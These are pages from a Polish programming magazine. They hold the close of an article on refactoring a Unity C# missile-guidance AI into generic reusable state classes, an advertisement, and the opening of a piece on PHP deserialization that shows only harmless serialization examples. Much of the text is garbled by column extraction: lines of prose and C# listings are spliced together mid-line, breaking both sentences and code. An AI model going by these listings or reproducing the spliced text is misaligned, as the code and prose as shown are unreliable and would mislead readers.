Istnieje jednak dosyć duży minus. Klasy CollisionCourseNavi- Modyfikujemy bazową klasę stanu. Od teraz zamiast konkretnej in-
gationAi i ChaserNavigationAi wprowadzą na pewno swoje dodat- stancji nawigatora, przyjmować ona będzie skonstruowany przed
kowe stany, które będą realizowały naprowadzanie rakiety w specyficz- chwilą interfejs.
ny dla nich sposób. A co jeśli stanów tych chciałbym użyć w jakiejś
Listing 5. Bazowa klasa dla stanu
nowej implementacji, która na przykład przełącza algorytmy, dobie-
rając w danym momencie najbardziej skuteczny? public abstract class BaseState
{
Mówimy o sytuacji, do implementacji której potrzebowalibyśmy public abstract void UpdateFixed(
wielodziedziczenia klas, co w C# oznacza, że po drodze podjęliśmy IStateDataProvider dataProvider);
}
błędną decyzję architekturalną. I faktycznie: całego zamieszania
możemy uniknąć, jeśli tylko klasy stanów wyciągniemy całkiem na Zmiany musimy wprowadzić oczywiście również w implementacjach
zewnątrz, jako odrębne typy. Pozwoli to na bardzo swobodne współ- konkretnych stanów.
dzielenie wszystkich stanów przez zainteresowane nimi klasy. Ceną
Listing 6. Stan poszukiwania celu (fragmenty)
za taki stan rzeczy będzie nieco większa, niż moglibyśmy sobie tego
życzyć, dostępność klas stanów. Alternatywa jest jednak znacznie public class RadarSeekingState : BaseState
{
gorsza, więc cena taka jest w zupełności akceptowalna. private const int SeekFrameSkip = 10;
Jeden problem z głowy. Ale teraz musimy zmierzyć się z drugim. public int PulseCounter { get; private set; }

public RadarSeekingState()
{
Dostęp do pól PulseCounter = 0;
}
Napisane przez nas stany bez większego skrępowania sięgają do pry-
public override void UpdateFixed(
watnych pól klasy ChaserNavigationAi, by zrealizować funkcjonal- IStateDataProvider dataProvider)
{
ność naprowadzania. Jeżeli jednak przestaną być klasami wewnętrz- // (...)
nymi, stracą dostęp do tych pól, które są im przecież potrzebne. if (target != null)
{
Realnie wchodzą tu w grę dwa rozwiązania. dataProvider.state =
Pierwszym z nich jest opakowanie wszystkich potrzebnych sta- new ChaserHomingState(target);
return;
nom danych w osobną klasę (zwykle nazywam ją kontekstem – np. }
StateContext) i przekazanie jej podczas wywołania metody Up- // (...)
}
dateFixed. Nie jest to rozwiązanie złe, ale sprawia, że pojawia się
public void IncrementPulseCounter()
kolejna klasa, którą musimy się opiekować, a która tak naprawdę wy- {
cina tylko fragment klasy ChaserNavigationAi. PulseCounter = (PulseCounter + 1) % SeekFrameSkip;
}
Dlatego też lepiej jest rozwiązać problem nieco inaczej. Skoro kla- }
sy stanów potrzebują pewnego wycinka klasy ChaserNavigationAi,
udostępnijmy im ten wycinek przez interfejs. Możemy wtedy bez- Już prawie! Mamy jeszcze tylko jeden problem do rozwiązania.
piecznie przekazać klasę dowolnego nawigatora stanom, o ile tylko Przyjrzyjmy się widocznemu w Listingu 6 fragmentowi kodu me-
udostępnia on odpowiednie dane. Jest to też eleganckie rozwiązanie tody UpdateFixed. Widzimy tu, jak ustawia ona nowy stan… tylko
z perspektywy enkapsulacji; z jednej strony nie ma wad manualnego że nie może już tego zrobić, bo przecież straciła dostęp do prywat-
przenoszenia danych pomiędzy klasami, ale z drugiej – ogranicza do- nych pól klasy nawigatora. Oczywiście możemy dodać do interfej-
stęp tylko do tych składowych nawigatora, do których stany powinny su IStateDataProvider kolejną własność pozwalającą na zmianę
mieć dostęp. stanu, ale rozwiązanie takie uważam za nieeleganckie. Bieżący stan
Pociągniemy ten pomysł jeszcze dalej, ale na razie zatrzymajmy maszyny stanu stanowi jej wewnętrzną infrastrukturę i nikt nie po-
się na chwilę i zrealizujmy wszystkie pomysły, które pojawiły się do winien jej beztrosko modyfikować. Dlatego też rozwiążemy problem
tej pory, żeby ich ilość nas nie przytłoczyła (a projekt zmieniał się w nieco inny sposób: metoda UpdateFixed będzie zwracała instancję
stopniowo). stanu, na który chcemy się przełączyć.

<60> { 3 / 2023 < 108 > }


/ Historia jednego refaktora /

Listing 7. Zmieniona implementacja bazowej klasy stanu Listing 10. Implementacja w klasie ChaserNavigationAi

public abstract class BaseState public class ChaserNavigationAi : MonoBehaviour,


{ IStateDataProvider
public abstract BaseState UpdateFixed( {
IStateDataProvider dataProvider); // (...)
}
BaseState IStateDataProvider.GetHomingState(
GivesRadarEcho target)
Listing 8. Zmieniona implementacja metody UpdateFixed klasy nawigatora => new ChaserHomingState(target);

public class ChaserNavigationAi : MonoBehaviour, // (...)


IStateDataProvider }
{
// (...) Listing 11. Korzystamy z nowej metody w klasie stanu
public void FixedUpdate()
{ public class RadarSeekingState : BaseState
state = state.UpdateFixed(this); {
} // (...)
}
public override void UpdateFixed(
IStateDataProvider dataProvider)
{
Gdy teraz klasa stanu będzie potrzebowała zmienić bieżący stan na
// (...)
inny, może po prostu zwrócić jego instancję (co ma też tę zaletę, że if (target != null)
{
możemy dosyć swobodnie przekazać temu nowemu stanowi dowol- return dataProvider
ne dane). Jeśli natomiast zmiana stanu nie jest potrzebna, metoda .GetHomingState(target);
}
UpdateFixed może po prostu zwrócić this. // (...)
}

DYNAMICZNA ZMIANA STANÓW }


// (...)

Jesteśmy coraz bliżej możliwości użycia wyekstrahowanych stanów


w kolejnych nawigatorach. Musimy rozwiązać jeszcze jeden problem,
UOGÓLNIENIE KLASY NAWIGATORA
który nam to na razie uniemożliwia.
Jeżeli przyjrzymy się implementacji klasy RadarSeekingState Przyjrzyjmy się teraz przez chwilę, z jakich konkretnych danych ko-
(poprzednio metody HandleHoming), zauważymy, że w przypadku rzystają stany.
odnalezienia celu przełącza ona maszynę stanu na stan ChaserHom- Klasa Mobile odpowiedzialna jest za możliwość przemieszczania
ingState. Z kolei gdy ten drugi stan zgubi śledzony cel, przełącza się się rakiety, przechowuje jej orientację oraz prędkość. Przydatność tych
z powrotem na RadarSeekingState. informacji podczas naprowadzania rakiety na cel jest chyba oczywista.
Problem leży w tym właśnie miejscu. Jeżeli bowiem użyjemy sta- MobilityParameters określa parametry zmienności ruchu ra-
nu RadarSeekingState w klasie CollisionCourseNavigatorAi, to kiety (przyspieszenie, prędkość maksymalną, maksymalne prędkości
po odnalezieniu celu powinien on przełączyć się na stan Collision- kątowe itp.).
CourseHomingState, a nie na ChaserHomingState. ObjectNavigator przechowuje i aplikuje decyzję o zmianie w ruchu
Musimy znaleźć więc sposób na to, by podpowiedzieć klasie Ra- rakiety do jej bieżących parametrów przechowywanych w klasie Mobile.
darSeekingState, którego stanu naprowadzającego rakietę powinien Launchable zawiera informację o tym, kto wystrzelił rakietę. Jest
on użyć. Najprostszym sposobem na rozwiązanie tego problemu jest ona potrzebna dlatego, że po umieszczeniu rakiety na planszy w miej-
dodanie odpowiedniej metody do interfejsu IStateDataProvider. scu statku, który ją odpalił, natychmiast następuje kolizja pomiędzy
Nawigator, który interfejs ów implementuje, będzie mógł wtedy sa- rakietą a tym statkiem. Musimy „znieczulić” rakietę w taki sposób, by
modzielnie zadecydować o wyborze odpowiedniego stanu. nie spowodowała uszkodzeń dla gracza – przynajmniej dopóki nie
opuści przestrzeni wokół statku. Nawiasem, mechanizm ten stosowa-
Listing 9. Interfejs IStateDataProvider uwzględniający dostarczenie stanu
naprowadzania ny jest również w prawdziwych rakietach i torpedach, które uzbrajają
się dopiero wtedy, gdy nie stanowią już zagrożenia dla samolotu lub
public interface IStateDataProvider
{ statku, który je odpalił.
BaseState GetHomingState(GivesRadarEcho target); Wreszcie RadarGuidanceParameters określa czułość mechani-
RadarGuidanceParameters RadarGuidanceParameters zmu poszukującego celów (na przykład promień i odległość poszu-
{
get; kiwania). Manipulując wartościami przechowywanymi w tej klasie,
} możemy konstruować rakiety słabiej i lepiej wyszukujące cele.
Mobile Mobile { get; }
MobilityParameters MobilityParameters { get; } Zauważmy, że pierwsze cztery komponenty muszą być obecne
ObjectNavigator ObjectNavigator { get; } w każdej rakiecie, którą wprowadzimy do gry. Jest tak nawet w przy-
Launchable Launchable { get; }
Transform Transform { get; } padku rakiety nienaprowadzanej, ponieważ w ramach skonstruowa-
} nej architektury rakieta nienaprowadzana to taka, której algorytm
naprowadzania każe po prostu lecieć cały czas do przodu.
Odkryliśmy fragment kodu, który jest wspólny dla wielu różnych
klas – wyraźny sygnał, że należy przenieść go do wspólnej klasy ba-

{ WWW.PROGRAMISTAMAG.PL } <61>
INŻYNIERIA OPROGRAMOWANIA

zowej. Oszczędzi nam to dużo czasu w przyszłości, ale też sprawi, że Wprowadzona zmiana pociąga ważną konsekwencję: stan korzy-
unikniemy niepotrzebnego duplikowania kodu. stający z danego typu dostawcy danych (czyli interfejsu dziedziczące-
Wprowadźmy zatem nową, bazową klasę dla wszystkich nawiga- go po IStateDataProvider) może zwrócić jako następcę tylko taki
torów, która udostępniać będzie zawsze obowiązkowe komponenty. stan, który również korzysta z tego interfejsu. Na przykład stan, który
Klasy pochodne nie będą musiały się już tego robić, choć w razie po- przyjmuje IRadarStateDataProvider, musi zwrócić jako następcę
trzeby zawsze pozostanie opcja dostarczenia bardziej specyficznych stan, który również pracuje z IRadarStateDataProvider. Jest to
informacji (w naszym przypadku może to być na przykład kompo- ograniczenie, które musimy mieć na uwadze, ale na tym etapie trud-
nent RadarGuidanceParameters). no będzie się go pozbyć.
Podczas realizacji tego kroku refaktoryzacji osiągniemy jeszcze Teraz możemy jednak bezpiecznie wyciągnąć z ChaserNaviga-
jeden cel: pozwolimy na parametryzowanie sposobu poszukiwania tionAi klasę bazową i przenieść tam całą funkcjonalność, która bę-
celów. Do tej pory musieliśmy robić to zawsze przy pomocy radaru; dzie się powtarzać w innych klasach nawigatorów.
od teraz jednak również i ten element procesu naprowadzania będzie
Listing 16. Klasa BaseNavigationAi
można wymieniać.
Zabierzmy się więc do roboty. [RequireComponent(typeof(Mobile))]
[RequireComponent(typeof(MobilityParameters))]
Przede wszystkim musimy rozbić interfejs dostarczający stanom [RequireComponent(typeof(ObjectNavigator))]
dane na dwa: uogólniony i ten, który zawiera dane specyficzne do na- [RequireComponent(typeof(Launchable))]
public abstract class BaseNavigationAi
mierzania celów radarem. <TDerivedNavigationAi, TStateDataProvider> :
MonoBehaviour,
Listing 12. Interfejs IStateDataProvider IStateDataProvider
where TStateDataProvider : IStateDataProvider
public interface IStateDataProvider where TDerivedNavigationAi :
{ BaseNavigationAi
Mobile Mobile { get; } <TDerivedNavigationAi, TStateDataProvider>,
MobilityParameters MobilityParameters { get; } TStateDataProvider
ObjectNavigator ObjectNavigator { get; } {
Launchable Launchable { get; } private Mobile mobile;
Transform Transform { get; } private MobilityParameters mobilityParameters;
} private ObjectNavigator objectNavigator;
private Launchable launchable;
Listing 13. Interfejs IRadarStateDataProvider protected BaseState<TStateDataProvider> state;

public interface IRadarStateDataProvider : Mobile IStateDataProvider.Mobile


IStateDataProvider => mobile;
{ MobilityParameters IStateDataProvider.MobilityParameters
BaseState GetHomingState(GivesRadarEcho target); => mobilityParameters;
RadarGuidanceParameters RadarGuidanceParameters { get; } ObjectNavigator IStateDataProvider.ObjectNavigator
} => objectNavigator;
Launchable IStateDataProvider.Launchable
=> launchable;
Klasa stanu przyjmowała wcześniej IStateDataProvider jako para- Transform IStateDataProvider.Transform
metr metody UpdateFixed (w której zawarta jest cała logika stanu). => transform;

Nie możemy pozostawić tego w ten sposób, bo przecież nasze obecne public virtual void Awake()
{
stany muszą korzystać z IRadarStateDataProvider. Skoro jednak mobile = GetComponent<Mobile>();
pojawiła się więcej niż jedna opcja dla dostawcy danych, to aby unik- mobilityParameters =
GetComponent<MobilityParameters>();
nąć rzutowania typów, będziemy musieli zmienić bazową klasę stanu objectNavigator = GetComponent<ObjectNavigator>();
na generyczną. Odpowiednie zmiany musimy wprowadzić również launchable = GetComponent<Launchable>();
}
w klasach poszczególnych stanów.
public virtual void FixedUpdate()
Listing 14. Modyfikacje wprowadzone do klasy BaseState {
state = state.UpdateFixed((TDerivedNavigationAi)this);
}
public abstract class BaseState<TStateDataProvider>
}
where TStateDataProvider : IStateDataProvider
{
public abstract BaseState<TStateDataProvider>
UpdateFixed(TStateDataProvider dataProvider);
}
DETALE
Listing 15. Klasa RadarSeekingState (fragmenty)
Po przebrnięciu przez trudniejszą część refaktoryzacji warto również
public class RadarSeekingState : zadbać o detale. W projekcie pojawiło się kilka nowych klas – pamię-
BaseState<IRadarStateDataProvider>
{ tajmy, aby każda z nich znalazła się w pliku o tej samej nazwie (przy-
// (...) łóżmy szczególną uwagę do tych klas, którym zmieniliśmy nazwy).
public override BaseState<IRadarStateDataProvider> W moim projekcie klasy ChaserNavigationAi, CollisionCourse-
UpdateFixed(IRadarStateDataProvider dataProvider)
{ NavigationAi oraz DumbfireNavigationAi znajdowały się w jednym
// (...) wielkim katalogu Assets\Scripts\Features. Skoro jednak wyodrębnili-
}
śmy zbiór klas, które realizują podobną funkcjonalność, dobrze jest przy
// (...)
} okazji przenieść je do wspólnego katalogu – w moim przypadku jest to

<62> { 3 / 2023 < 108 > }


/ Historia jednego refaktora /

Assets\Scripts\Features\Homing. Reużywalne stany wylądowały jeszcze To wszystko! Klasa, która pierwotnie zajmowała przeszło 150 linijek
głębiej, w Assets\Scripts\Features\Homing\States. kodu, zmieściła się teraz zaledwie w 17 (Listing 17 jest dodatkowo
Taka korekta może wydawać się nadmiarowa, ale jednak zauwa- połamany, aby zmieścił się w szpalcie).
żyłem, że wśród programistów istnieje grono takich (włączając w to Oczywiście mam pełną świadomość, że kod, który znajdował się
mnie), którzy preferują manualne nawigowanie po strukturze pro- pierwotnie w tej klasie, został rozparcelowany po kilku innych, które
jektu nad korzystanie z narzędzi do wyszukiwania. Mój tok rozumo- stworzyliśmy w międzyczasie. Ale nie chodzi tu o liczbę wierszy kodu,
wania jest następujący: skoro w ramach projektu mamy możliwość tylko o poziom skomplikowania i łatwość rozwoju. Pamiętacie bowiem
organizowania plików w katalogi, zawsze warto skorzystać z tej moż- CollisionCourseNavigationAi? Pierwotnie ona również zajmowała
liwości, aby projekt stał się bardziej czytelny. 150 linijek kodu, a teraz można ją skurczyć do takiego samego rozmia-
ru, jak ChaserNavigationAi. Ale to jeszcze nic. Kod wspomnianej

FAJERWERKI wcześniej klasy DumbfireNavigationAi będzie jeszcze krótszy.

Listing 18. Kod klasy DumbfireNavigationAi


Uff. Końcówka naszej wspólnej refaktoryzacji była już nieco wybo-
ista, ale szczęśliwie dotarliśmy do końca. Każdy tego typu proces public class DumbfireNavigationAI :
BaseNavigationAi<DumbfireNavigationAI,
powinien przynosić wymierne korzyści i tak też jest w naszym przy- IStateDataProvider>
padku. Zacznijmy od najbardziej spektakularnych korzyści, czyli od {
public override void Awake()
klasy ChaserNavigationAi – tej samej, od której cała nasza wyciecz- {
base.Awake();
ka się rozpoczęła. state = new DumbfireHomingState();
Po wykonaniu całej pracy wygląda ona następująco: }
}
Listing 17. ChaserNavigationAi po zakończeniu refaktoryzacji

BILANS ZYSKÓW I STRAT


public class ChaserNavigationAi :
BaseNavigationAi<ChaserNavigationAi,
IRadarStateDataProvider>,
IRadarStateDataProvider Naszą stratą jest czas włożony w analizę kodu oraz jego refaktoryza-
{
[SerializeField] cję – i to będzie w zasadzie tyle. Teraz możemy przejść do zysków.
private RadarGuidanceParameters radarGuidanceParameters
= new RadarGuidanceParameters();
Tych będzie znacznie więcej.
Przede wszystkim zbudowaliśmy bardzo czytelną hierarchię klas,
BaseState<IRadarStateDataProvider>
IRadarStateDataProvider.GetHomingState( w której odpowiedzialności klas są jasno zdefiniowane. Każdy nowy
GivesRadarEcho target) typ automatycznie oznacza wprowadzenie do kodu nowego identyfi-
=> new ChaserHomingState(target);
katora, przez co kod staje się znacznie bardziej czytelny. Implemen-
RadarGuidanceParameters IRadarStateDataProvider
.RadarGuidanceParameters => radarGuidanceParameters; tacja każdego ze stanów znalazła się w osobnej klasie, dzięki czemu
public override void Awake() mogliśmy użyć ich ponownie w innych istniejących nawigatorach,
{ ale też przyszłych, które dopiero powstaną. Dodatkową konsekwen-
base.Awake();
state = new RadarSeekingState(); cją reużywania klas jest też zmniejszenie się ilości kodu (bo pozbyli-
} śmy się tej jego części, która była na początku powielona).
}

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <63>
INŻYNIERIA OPROGRAMOWANIA

Podstawowa funkcjonalność maszyny stanu została wyciągnięta i kontrawariancji, ale okazało się, że w tym przypadku nie jest to
do klasy bazowej, dzięki czemu podczas implementacji nowego na- możliwe. Gdyby jednak było, otrzymalibyśmy wtedy znacznie prost-
wigatora możemy skupić się na oprogramowaniu algorytmu napro- szy, ale wciąż funkcjonalny kod.
wadzającego lub szukającego celów oraz ich interakcji; ilość kodu- Po trzecie, dobrze przeprowadzonej refaktoryzacji muszą towa-
-kleju, który musimy napisać, aby nowa implementacja mogła zostać rzyszyć nieustanne pytania o przyszłość. W jaki sposób ta klasa bę-
użyta, została doprowadzona do minimum. dzie używana? Jak będzie rozwijana? Co można zrobić, aby procesy
Wreszcie dzięki zastosowaniu klas generycznych oraz wprowadze- te uprościć w przyszłości? Jakie mechanizmy zastosować, aby kod
niu interfejsu-dostawcy danych dla stanów otworzyliśmy też możli- korzystający z tej klasy mógł być krótszy, bardziej zwięzły i czytel-
wość wprowadzenia nowego systemu wyszukiwania celów: w poprzed- ny? I tak dalej, w kółko, aż dotrzemy do miejsca, w którym możemy
niej implementacji mechanizm ten był napisany na sztywno. uczciwie powiedzieć: „teraz nic więcej nie da się już zrobić”, oczywi-
Chyba było warto, prawda? ście w rozsądnych granicach.
Po czwarte, niezależnie od tego, jak bardzo zagmatwany jest

WNIOSKI kod, warto zawsze rozważyć najpierw próbę poprawiania go w ma-


łych, inkrementalnych etapach. Zaoranie wszystkiego i napisanie
Zacznijmy od czegoś oczywistego, a jednak wartego wspomnienia: od nowa jest oczywiście bardzo kuszącą perspektywą, ale ma kilka
nie ma co się wstydzić pisania kodu, który nadaje się do refaktoryza- wad. Jeżeli nie dysponujemy dobrze przygotowanym zbiorem testów
cji. Wziąłem na warsztat mój projekt, który ostatnio rozwijałem „za- jednostkowych, nie będziemy mieli pewności, czy napisany od nowa
ledwie” pięć lat temu, ale gdybym wybrał jeszcze starszy, artykuł ten kod będzie miał dokładnie taką samą funkcjonalność, jak ten, który
byłby najprawdopodobniej wielokrotnie dłuższy. poddajemy refaktoryzacji. Oprócz tego trudno jest w takiej sytuacji
Ale wcale nie trzeba sięgać aż tak daleko. Refaktoryzacja stała się przeprowadzić jakiekolwiek testy – nawet funkcjonalne – przed za-
bowiem dla mnie od jakiegoś czasu również sposobem na pisanie no- kończeniem przepisywania całości.
wego kodu – szczególnie wówczas, gdy przeprowadzam jakiś ekspe- Wreszcie, dobrze jest przyłożyć szczególną wagę do tego, aby
ryment. Wygląda to tak: potrzebuję napisać nową klasę. Kopiuję więc precyzyjnie zrozumieć wymagania biznesowe. Mimo wszystko kod
beztrosko fragment istniejącej, wprowadzam odpowiednie zmiany powinien przede wszystkim realizować określone zadanie, a dopiero
(zdarza się, że również w postaci długich ifologii), uruchamiam pro- potem – ładnie wyglądać. Co nam przecież po estetycznym projekcie,
jekt i sprawdzam, czy osiągnąłem oczekiwany efekt. Czasami wyma- który nie robi tego, co trzeba?
ga to oczywiście wprowadzenia kolejnych poprawek, przetestowania
przez dłuższy czas i tak dalej, ale w końcu otrzymuję satysfakcjonu-
NA KONIEC
jący rezultat. Wtedy od razu siadam do napisanego kodu i przepro-
wadzam jego refaktoryzację: wykonuję ekstrakcję klas bazowych, Nie widziałem jeszcze projektu, który był napisany od początku do
przenoszę tam wspólną funkcjonalność, organizuję klasy w projekcie końca zgodnie ze wszystkimi regułami sztuki. Na jego tworzenie ma
w katalogach, zmieniam ich nazwy, a potem raz jeszcze, żeby moż- wpływ ogromna liczba czynników, takich jak zmieniające się ciągle
liwie jak najbardziej precyzyjnie odzwierciedlały ich przeznaczenie wymagania i poziom doświadczenia zespołu programistycznego,
i tak dalej – słowem przeprowadzam cały opisany w tym artykule ale też znacznie bardziej przyziemnych, jak choćby gorsza pogoda
proces, tylko że robię to na gorąco, gdy jeszcze mam w głowie cały lub po prostu zły dzień jednego z programistów. Aby więc utrzymać
moduł, nad którym w danym momencie pracuję. Po zakończeniu re- kod projektu na zadowalającym poziomie, konieczne jest jego ciągłe
faktoryzacji wrzucam do repozytorium czysty i czytelny kod. ulepszanie – właśnie poprzez proces ciągłej refaktoryzacji.
Drugim istotnym wnioskiem jest fakt, że przeprowadzenie skutecz- Czy jednak ten artykuł wyczerpuje temat refaktoryzacji kodu?
nej refaktoryzacji, poza innymi umiejętnościami, wymaga również W żadnej mierze. Mieliśmy tu do czynienia ze ściśle określonym
dobrej znajomości języka i często spotykanych w nim konstrukcji. zbiorem problemów, dla których zostały zastosowane wybrane roz-
Dla przykładu, w opisanym wcześniej procesie, poza w miarę oczy- wiązania. W przypadku innych projektów będziemy mieli do czynie-
wistymi operacjami, jak wyciągnięcie składowych do klasy bazowej, nia z coraz to nowymi wyzwaniami, z których każde wymagać będzie
zastosowaliśmy w klasie BaseNavigationAi ciekawy generyczny indywidualnego podejścia i sporej dawki kreatywności. Dlatego też
konstrukt, który pozwala klasie bazowej na pozyskanie pewnych warto ćwiczyć umiejętność przekształcania kodu na bardziej czy-
informacji o dziedziczącej po niej klasie pochodnej. Jest on nieco telny, modularny i utrzymywalny, aby – w myśl maksymy skautów
zagmatwany, więc przez głowę przeszło mi też przekształcenie kla- – każdy realizowany projekt pozostawić w stanie choć nieco lepszym
sy BaseState na interfejs i skorzystanie z mechanizmu kowariancji niż ten, w jakim go zastaliśmy.

WOJCIECH SURA
wojciechsura@gmail.com
Programuje 30 lat, z czego 15 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane – pisane w C#,
C++, Javie, Delphi, PHP, JavaScript i w jeszcze kilku innych językach. Obecnie pracuje w SII – największym w Polsce dostawcy
usług doradztwa technologicznego, transformacji cyfrowej, Business Process Outsourcing i inżynierii.

<64> { 3 / 2023 < 108 > }


Boisz się,
że Twoja ścieżka rozwoju
technicznego dobiega końca?

Otóż... nie!

DNA Droga Nowoczesnego Architekta to nowa jakość


w budowaniu programistycznej kariery. Tony materiałów kierowane
do architektów, seniorów i midów. Prosto od najwyższej klasy specjalistów
z ogromnym doświadczeniem w projektach oraz w edukacji.

Prawie 15 000 korzysta z naszego Dołącz do nas za darmo i rozwijaj


Mailingu Nowoczesnych Architektów! techniczną karierę na droga.dev!
Z ARCHIWUM CVE

Deserializacja w PHP
Na niektóre błędy bezpieczeństwa natrafimy we frameworkach dostarczonych do danego języ-
ka. Innym razem podatności można znaleźć w samej aplikacji. Zdarza się również, że błąd znaj-
duje się w implementacji interpretera języka. Dziś przyjrzymy się właśnie takiemu przypadkowi.

PHP jest najpopularniejszym językiem używanym do programowa- nizm ten pomaga nadpisać domyślne zachowanie serializacji. Jed-
nia stron Internetowych. Trudno się temu dziwić, gdy przypomnimy nakże warto wziąć pod uwagę, że jeżeli zrobimy to niepoprawnie, po
sobie, że Wordpress, najpopularniejszy na świecie CMS (content ma- deserializacji obiekt może być inny niż oryginalny. Prosty przykład
nagement system, pl. system zarządzania treścią), jest zaimplemen- wykorzystania funkcji __serialize()/__unserialize() został po-
towany właśnie w tym języku. Innym przykładem potężnej platfor- kazany w Listingu 1. Definiujemy w nim klasę User, a w niej dwie
my wykorzystującej PHP jest Facebook. Szacuje się, że ponad 70% zmienne login i age. Natomiast w funkcji __serialize ogranicza-
wszystkich stron w Internecie opartych jest na PHPie1. Jednakże my eksportowane zmienne tylko do login. Następnie wykonujemy
pomimo swojej popularności PHP początkowo nie grzeszył mocny- serializację i deserializację na zadanym obiekcie. W wyniku możemy
mi podstawami bezpieczeństwa. W języku tym można było znaleźć zauważyć, że zmienna age nie została ustawiona.
wiele nieścisłości, a poprawne i bezbłędne wykorzystanie bibliote- Różnice pomiędzy __serialize()/__unserialize() i __sleep()/__
ki standardowej było trudne. Sam silnik języka PHP jest napisany wakeup() wykraczają poza ramy tego artykułu, warto jednak zwrócić
w większości w języku C. Ze względu na prostotę składni PHP zy- uwagę, że wynik Listingu 1 pochodzi z wersji PHP 7.4.9 (wynik i za-
skał bardzo dużą popularność, natomiast kwestiami bezpieczeństwa chowanie może być różne w zależności od wersji PHP, na przykład PHP
zajęto się znacznie później. Dziś pod tym względem jest na szczęście 7.0.14 nie wywoła funkcji __serialize(), a jedynie __sleep()).
dużo lepiej, chodź wciąż nie wszystko udało się poprawić. Zanim
Listing 1. Przykład serializacji/deserializacji obiektu w PHP oraz definicji
przyjrzyjmy się analizie błędu, musimy zrozumieć, czym jest seriali- funkcji __serialize
zacja danych w PHP.
<?php
class User {

SERIALIZACJA DANYCH
public $login;
public $age;

public function __serialize() {


Serializacja danych polega na przekształceniu utworzonych obiek- return [
tów w danym języku programowania do postaci, którą łatwo można 'login' => $this->login,
];
zapisać bądź przesłać. Format danych może być tekstowy lub binar- }
ny. Ważnym aspektem serializacji jest to, aby obiekt został zapisany }

w taki sposób, by potem można było go odtworzyć do praktycznie $u = new User();


$u->login = "test";
tego samego stanu jak przed serializacją. Dziś wielu programistów $u->age = 21;
do serializacji danych używa formatu JSON (ang. JavaScript Object $newu = unserialize(serialize($u));
Notation) bądź XMLa (ang. Extensible Markup Language). Formatów print_r($u);
print_r($newu);
serializacji jest natomiast wiele i wciąż pojawiają się nowe.
?>
PHP wyposażony jest we własny mechanizm serializacji, a co za
tym idzie także deserializacji, danych. Została ona przewrotnie na- # Uruchomienie:
$ php pierwszy.php
zwana PHP serialization format (pl. Format serializacji dla PHP). Aby User Object
spakować dany obiekt, korzysta się z funkcji serialize(), a żeby de- (
[login] => test
serializować dane – z funkcji unserialize(). Pierwsza wersja tych [age] => 21
)
metod sięga aż do PHP w wersji 4, opublikowanej w 1998 roku (aktu-
User Object
alna wersja, w momencie pisania artykułu, to 8.2.6). (
[login] => test
PHP umożliwia nadpisanie domyślnego zachowania funkcji se- [age] =>
rializacji/deserialicji poprzez definicję specjalnych metod __seri- )
alize()/__unserialize() lub __sleep()/__wakeup() w klasie.
Pierwsza funkcja z pary jest odpowiedzialna za serializację danych, PHP serialization format jest formatem tekstowym, w którym każda
a druga za desarializację. Dzięki tym funkcjom możemy wpływać na serializowana wartość jest oddzielona znakiem średnika, natomiast
to, co z danego obiektu zostanie zapisane. Możemy stwierdzić, że ja- wartość i typ obiektu są oddzielone od siebie znakiem dwukropka.
kieś wartości z obiektu nie są potrzebne, albo część ich jest poufna Na przykład obiekt liczby zostanie zapisany w formacie przedstawio-
lub tymczasowa. Przy bardziej skomplikowanych obiektach mecha- nym na Rysunku 1. Czasami w przypadku bardziej skomplikowanych
obiektów może wystąpić potrzeba zapisania ich wielkości i wówczas
1. https://w3techs.com/technologies/details/pl-php długość znajdzie się pomiędzy typem a wartością, także oddzielone

<66> { 3 / 2023 < 108 > }


Z ARCHIWUM CVE

dwukropkiem. Przykładem takiego obiektu jest napis, którego format


został pokazany na Rysunku 2. Wartość napisu jest umieszczona po-
między znakami cudzysłowu, natomiast inne obiekty, jak na przykład
tablice, do zapisania wartości wykorzystują nawiasy klamrowe.

Rysunek 4. Serializacja obiektu w formacie PHP

Kolejnym ciekawą funkcjonalnością serializacji w PHP jest referencja.


Umożliwia ona zapisywanie wskaźnika do już utworzonego obiektu.
W ten sposób PHP wie, że nie powinien utworzyć nowego obiektu
Rysunek 1. Serializacja liczby całkowitej 685230 w formacie PHP z tymi samymi zmiennymi, a dwie zmienne mają wskazywać dokład-
nie do tego samego obiektu. W notacji PHP serialization format taka
referencja zostanie oznaczona literą R, a jako wartość zostanie wska-
zany indeks obiektu, do którego ma wskazywać obiekt.
W Listingu 2 został zaprezentowany kod wykorzystujący referen-
cję. W pierwszym kroku tworzymy tablicę. Następnie do pierwszego
elementu zapisujemy słowo „Programista”, a do drugiego elementu
zapisujemy referencję do pierwszego obiektu. Dalej modyfikujemy
Rysunek 2. Serializacja napisu „kot” w formacie PHP
tylko pierwszy element. Jak widać, referencja zadziałała, ponieważ
oba elementy, po modyfikacji, wypisują ten sam tekst.
Prymitywne typy danych wspierane przez PHP to:
Listing 2. Serializacja z referencją
» N – NULL, po serializacji nie występuje w tym przypadku dwu-
kropek z wartością, <?php
$a = array();
» b – wartość boolowska, prawda reprezentowana przez wartość $a[0] = "Programista";
1 i fałsz przez 0. $a[1] = &$a[0];
print_r($a);
» i – liczba całkowita, $a[0] .= "!";
print_r($a);
» d – liczba zmiennoprzecinkowa, ?>
» s – napis,
# Uruchomienie:
» S – napis z interpretacją binarnej notacji \xXX i \XX, $ php driugi.php
Array
» a – słownik, w języku PHP słownik może przechowywać różne
(
pary wartość/klucz. Po typie obiektu występuje liczba określa- [0] => Programista
[1] => Programista
jąca ilość elementów w tablicy. Następnie generowane są klucze )
i wartość, każde rozdzielone średnikiem. Przykład serializowa- Array
(
nego słownika utworzonego za pomocą instrukcji array(1 => [0] => Programista!
"kot", "ala" -> 1337) został zaprezentowany na Rysunku 3. [1] => Programista!
)

Na Rysunku 5 możemy zobaczyć, jak taka tablica wygląda po seriali-


zacji. W momencie deserializacji PHP tworzy tablicę zmiennych – to
właśnie indeks w tej tablicy identyfikuje obiekt, do którego się od-
wołujemy. W PHP z jakiegoś powodu indeks zaczyna się od 1, a nie
tradycyjnie od 0. Tak więc w tej tablicy, aby odwołać się do słowa
Rysunek 3. Serializacja słownika w formacie PHP
„Programista”, musimy użyć indeksu 2.

Jeszcze bardziej skomplikowanym bytem, który możemy serializo-


wać, jest obiekt klasy PHP. Typ taki zostanie oznaczony literą O. Po
typie wystąpi napis (w formacie PHP) definiujący, jakiej klasy jest to
obiekt. Następnie w postaci napisu będą zapisane nazwy atrybutów,
a dalej ich typ i wartość. Dzięki zapisywaniu nazw atrybutów PHP
poradzi sobie z potencjalnymi zmiany kolejności w definicji klasy.
